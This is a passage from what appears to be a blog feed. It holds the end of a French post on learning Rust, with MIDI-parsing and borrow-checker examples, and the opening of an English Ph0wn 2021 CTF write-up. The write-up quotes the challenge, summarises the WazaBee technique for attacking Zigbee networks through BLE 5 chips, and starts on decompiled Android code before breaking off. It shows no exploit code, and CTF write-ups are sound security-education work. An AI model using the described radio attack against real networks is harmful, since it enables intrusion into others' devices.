&lt;p&gt;La seconde fonctionnalité qui m'a bluffé est le &lt;em&gt;pattern matching&lt;/em&gt; implémenté de base dans Rust. Cela fonctionne comme
un &lt;em&gt;switch&lt;/em&gt; dans lequel les différents cas de figure sont des motifs particuliers pour lequel un bloc de code sera
exécuté si la variable passée en entrée correspond à ce dernier. Cela m'a permis par exemple de parser des codes MIDI
en quelques lignes de Rust:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;from_midi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kp"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..=&lt;/span&gt;&lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Button&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="o"&gt;..=&lt;/span&gt;&lt;span class="mi"&gt;71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SliderButton&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0xB0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="o"&gt;..=&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Slider&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;None&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;On retrouve d'ailleurs dans ce code l'utilisation du type &lt;cite&gt;Option&lt;/cite&gt;, combiné au mécanisme de &lt;em&gt;pattern matching&lt;/em&gt;.
La fonction en question analyse le message passé en paramètre et en fonction de la valeur de ses premiers octets
retourne une structure automatiquement complétée avec des valeurs issues du motif correspondant. Certes la syntaxe
est quelque peu complexe (en particulier le &lt;cite&gt;id&amp;#64;0..=63&lt;/cite&gt; par exemple), mais c'est très puissant ! Ce qui m'amène à
parler de la troisième fonctionnalité que j'apprécie de plus en plus: les énumérations.&lt;/p&gt;
&lt;p&gt;En Rust, les énumérations sont plus flexibles qu'en C par exemple, car elles permettent d'associer des &lt;em&gt;variants&lt;/em&gt; à
une énumération spécifique. Pour reprendre l'exemple des messages MIDI ci-dessus, &lt;cite&gt;Message&lt;/cite&gt; est une énumération
définie comme suit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;enum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;/// Normal button has been pressed.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Button&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;/// Slider value has changed.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Slider&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;/// Slider button has been pressed.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SliderButton&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette énumération permettra par la suite, grâce au pattern matching, de pouvoir dispatcher les différents messages
MIDI décodés par notre précédente fonction &lt;cite&gt;from_midi()&lt;/cite&gt;, comme le montre le code suivant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Button has been pressed (switch scenes and video sources). */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Button&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* Here some code to handle button press event. */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Slider button has been pressed (handle mute/unmute). */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SliderButton&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* Here some code to handle slider button event. */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* Slider value has been changed (set volume). */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Slider&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* Here some code to handle slider value change event. */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bref, ces quelques fonctionnalités m'ont pas mal séduit dans le langage Rust, bien qu'il me reste encore un bon
bout de chemin à faire dans mon apprentissage.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="les-choses-qui-prennent-un-peu-plus-la-tete"&gt;
&lt;h2&gt;Les choses qui prennent un peu plus la tête&lt;/h2&gt;
&lt;p&gt;Rust utilise des mécanismes spécifiques afin d'éviter toute erreur de manipulation de la mémoire ou de références (pointeurs)
sur des zones mémoires allouées, et ces derniers imposent au développeur de penser à des choses auxquelles il ne pensait pas
auparavant. Et cela commence par la &lt;em&gt;mutabilité&lt;/em&gt; des variables: il est nécessaire de préciser dans le code qu'une variable
est &lt;em&gt;mutable&lt;/em&gt;, c'est-à-dire que sa valeur va changer au cours de sa durée de vie, via l'emploi du mot-clé &lt;cite&gt;mut&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;C'est un coup de main à prendre, mais c'est dans ce genre de situation que le compilateur est bienveillant: il indique
précisemment le problème et une solution possible, comme le montre l'exemple ci-dessous:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;i32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cet exemple génère une erreur à la compilation:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  error[E0384]: cannot assign twice to immutable variable `a`
  --&amp;gt; src/main.rs:3:9
  |
2 |         let a: i32 = 2;
  |             -
  |             |
  |             first assignment to `a`
  |             help: consider making this binding mutable: `mut a`
3 |         a = 3;
  |         ^^^^^ cannot assign twice to immutable variable

For more information about this error, try `rustc --explain E0384`.
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le compilateur donne une indication sur la résolution du problème, qui consiste à déclarer la variable &lt;cite&gt;a&lt;/cite&gt; mutable.&lt;/p&gt;
&lt;p&gt;Autre particularité de Rust et autre prise de tête: la possession des variables. Quand on passe une variable à une
fonction, cette fonction prend la possession de cette dernière et le code appelant la perd. Cela signifie que la
variable en question n'existe plus une fois la sous-fonction appelée. Le souci en tant que développeur, c'est de
suivre la possession de différentes variables dans le flux d'instructions exécutées afin d'éviter de faire une erreur.&lt;/p&gt;
&lt;p&gt;On est alors vite tenté de cloner les différentes variables (la fonction appelée prenant possession de cette dernière)
ou tout simplement passer l'ensemble des paramètres de fonction par référence, ce qui permet de conserver la possession
de la variable et de la &amp;quot;prêter&amp;quot; à  la sous-fonction appelée. Un peu comme si l'on passait un &lt;em&gt;pointeur&lt;/em&gt; sur la variable
en question. Et c'est là que ça commence à piquer, car le &lt;em&gt;borrow checker&lt;/em&gt; de Rust entre en action. Son objectif ?
S'assurer que les différentes références passées à des sous-fonctions (ou dans des sous-blocs de code) son intègres et
ne posent pas de souci lors de l'exécution. Et la lutte avec le &lt;em&gt;borrow checker&lt;/em&gt; commence...&lt;/p&gt;
&lt;p&gt;On doit alors entrer dans de la syntaxe un peu avancée, et jouer avec la durée de vie des différentes variables (qu'il
faut renseigner dans le code grâce à une syntaxe spécifique), et donc se prendre la tête avec les dépendances entre
références passées à diverses fonctions. J'ai perdu pas mal de temps avec ces subtilités, et j'avoue ne pas encore les
maîtriser au moment où je rédige ce billet.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="alors-faut-il-essayer-rust-ou-pas"&gt;
&lt;h2&gt;Alors, faut-il essayer Rust ou pas ?&lt;/h2&gt;
&lt;p&gt;Avant de sauter directement à la conclusion, je tiens à rappeler que je suis un total novice en Rust, qui a &lt;em&gt;juste&lt;/em&gt;
développé son premier projet dans ce langage. Mon code doit certainement hérisser le poil des devs Rust confirmés,
mais il fonctionne et déjà rien que ça c'est pour moi une petite victoire :).&lt;/p&gt;
&lt;p&gt;De mon point de vue, l'apprentissage de Rust nécessite d'oublier certains concepts d'autres langages car ces derniers
sont revisités; et bien sûr d'apprendre les particularités qui font de Rust un langage de développement sécurisé (oui,
c'est bien des notions de mutabilité, possession et durée de vie des variables dont je parle ici). C'est assez difficile,
surtout pour un développeur C/C++ qui ne se souciait pas de cela dans ses codes. Il m'a fallu un peu de temps pour
prendre en main ces spécificités, mais une fois ces dernières à peu près maîtrisées cela devient plus facile. En résumé,
la marche à franchir lors de la première prise en main de Rust est assez haute.&lt;/p&gt;
&lt;p&gt;Cependant, on trouve relativement facilement des bibliothèques de fonctions (&lt;em&gt;crates&lt;/em&gt; dans l'éco-système Rust) que l'on
peut utiliser simplement, comme on le ferait en Python. J'ai ainsi pu installer plusieurs &lt;em&gt;crates&lt;/em&gt; pour mon projet, et
les interconnecter pour réussir à faire ce que je voulais. J'ai eu l'impression que ce n'était pas beaucoup plus
compliqué à faire qu'en Python, bien que cela m'ait pris plus de temps à développer car étant novice. On notera aussi
certaines &lt;em&gt;crates&lt;/em&gt; qui changent la vie comme &lt;cite&gt;serde&lt;/cite&gt; ou &lt;cite&gt;anyhow&lt;/cite&gt; ! Plusieurs mécanismes
de Rust sont très appréciables et permettent de bien structurer son code, et les performances sont au rendez-vous.&lt;/p&gt;
&lt;p&gt;Rust est à mon avis un langage très intéressant, que ce soit pour ses aspects liés à la sécurité du code produit,
ses performances ou ses fonctionnalités (&lt;em&gt;pattern matching&lt;/em&gt; FTW). Je ne le recommanderai toutefois pas au débutants,
car il suppose tout de même que le développeur qui apprend Rust maîtrise déjà certains concepts, par contre si vous
êtes rodés en C ou C++ et que vous souhaitez faire du code plus sécurisé c'est le moment de s'y essayer !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; Je suis toujours en cours d'apprentissage de Rust, mon avis sur Rust peut changer dans l'avenir, et est
très certainement actuellement biaisé par l'attrait de la nouveauté.&lt;/p&gt;
&lt;/div&gt;
</content><category term="Geekeries"/><category term="développement"/><category term="rust"/></entry><entry><title>Ph0wn 2021: Wazabee write-up [EN]</title><link href="https://virtualabs.fr/geekeries/ph0wn21-wazabee-writeup" rel="alternate"/><published>2022-01-23T23:00:00+01:00</published><updated>2022-01-23T23:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2022-01-23:/geekeries/ph0wn21-wazabee-writeup</id><summary type="html">&lt;p&gt;&lt;em&gt;Note aux francophones: j'ai rédigé ce write-up initialement en anglais, et je n'ai pas
eu/pris le temps de le traduire en français. Je sais, je commence mal l'année 2022 (mais
lisez ce write-up, l'épreuve était vraiment sympa =)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;During the ph0wn CTF that took place virtually on December the 3rd …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Note aux francophones: j'ai rédigé ce write-up initialement en anglais, et je n'ai pas
eu/pris le temps de le traduire en français. Je sais, je commence mal l'année 2022 (mais
lisez ce write-up, l'épreuve était vraiment sympa =)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;During the ph0wn CTF that took place virtually on December the 3rd, a strange
challenge called &lt;em&gt;Wazabee&lt;/em&gt; were available with the following description:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Hint: Do some OSINT on the challenge author to find what this can be about.

Jean Reno has created a network surveillance startup, called Wazabee. He
installed this Android application (download it) on his smartphone and it
looks like it is transmitting something important. But what? Help him,
and you might get to play in Wasabi 2.

Install the application on an Android smartphone (it is not malicious)
that supports Extended advertising and LE 2M. You can easily test your phone&amp;#39;s
capabilities with the nRF Connect application. Go in &amp;quot;Device information&amp;quot; and
check the corresponding labels are green.

Your smartphone does not support it? Too bad :=) Get one! Or find another way
to solve the challenge (there are several solutions).

The flag follows the usual format: ph0wn{ .... } where it can any printable
character between the brackets.
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We are provided with an Android APK that must be run on a smartphone that supports &lt;em&gt;Extended advertising&lt;/em&gt; and &lt;em&gt;LE 2M&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Well, let's have a look at it.&lt;/p&gt;
&lt;div class="section" id="bluetooth-5-osint-and-zigbee"&gt;
&lt;h2&gt;Bluetooth 5, OSINT and Zigbee&lt;/h2&gt;
&lt;p&gt;First of all, I don't own a smartphone that supports &lt;em&gt;Extended advertising&lt;/em&gt; and &lt;em&gt;LE 2M&lt;/em&gt; but I know a little of Bluetooth
Low Energy. Extended advertisements and a bitrate of 2 Mbps have been introduced in the version 5 of the Bluetooth core
specification, that allows any compatible device to send BLE advertisements on all channels (instead of the only 3
advertising channels 37, 38, and 39 as specified in previous versions) at 2 Mbit per second.&lt;/p&gt;
&lt;p&gt;Second, a hint is given in the description, telling us to do a background search on the author of this challenge (Romain Cayre).
A quick search revealed that Romain Cayre published a paper written in French, at the
French SSTIC conference, called &lt;a class="reference external" href="https://www.sstic.org/media/SSTIC2020/SSTIC-actes/wazabee_attaque_de_reseaux_zigbee_par_detournement/SSTIC2020-Article-wazabee_attaque_de_reseaux_zigbee_par_detournement_de_puces_bluetooth_low_energy-galtier_marconat_AhcLCGU.pdf"&gt;&amp;quot;WazaBee : attaque de réseaux Zigbee par détournement
de puces Bluetooth Low Energy&amp;quot;&lt;/a&gt; (or &amp;quot;WazaBee: attacking Zigbee networks by subverting Bluetooth Low Energy chips&amp;quot;).&lt;/p&gt;
&lt;p&gt;This paper presents a way to make a BLE 5 compatible chip send Zigbee
frames by abusing the GFSK modulation used in Bluetooth Low Energy PHY. This paper contains the word &amp;quot;Wazabee&amp;quot; in its title (which sounds like &amp;quot;wasabi&amp;quot; in French -- also a French movie starring Jean Reno) and is about Bluetooth Low Energy (and Zigbee). Well, that's becoming interesting !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="analyzing-the-android-apk"&gt;
&lt;h2&gt;Analyzing the Android APK&lt;/h2&gt;
&lt;p&gt;Once disassembled using &lt;em&gt;Jadx&lt;/em&gt;, the interesting code is found in the &lt;em&gt;radio.sploit.phownchallenge.SecondFragment&lt;/em&gt; class:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// androidx.fragment.app.Fragment&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onViewCreated&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;View&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Bundle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onViewCreated&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BluetoothAdapter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BluetoothAdapter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefaultAdapter&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BluetoothLeAdvertiser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;advertiser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BluetoothAdapter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDefaultAdapter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBluetoothLeAdvertiser&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;View&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getView&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isLe2MPhySupported&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Snackbar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2M PHY not supported!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
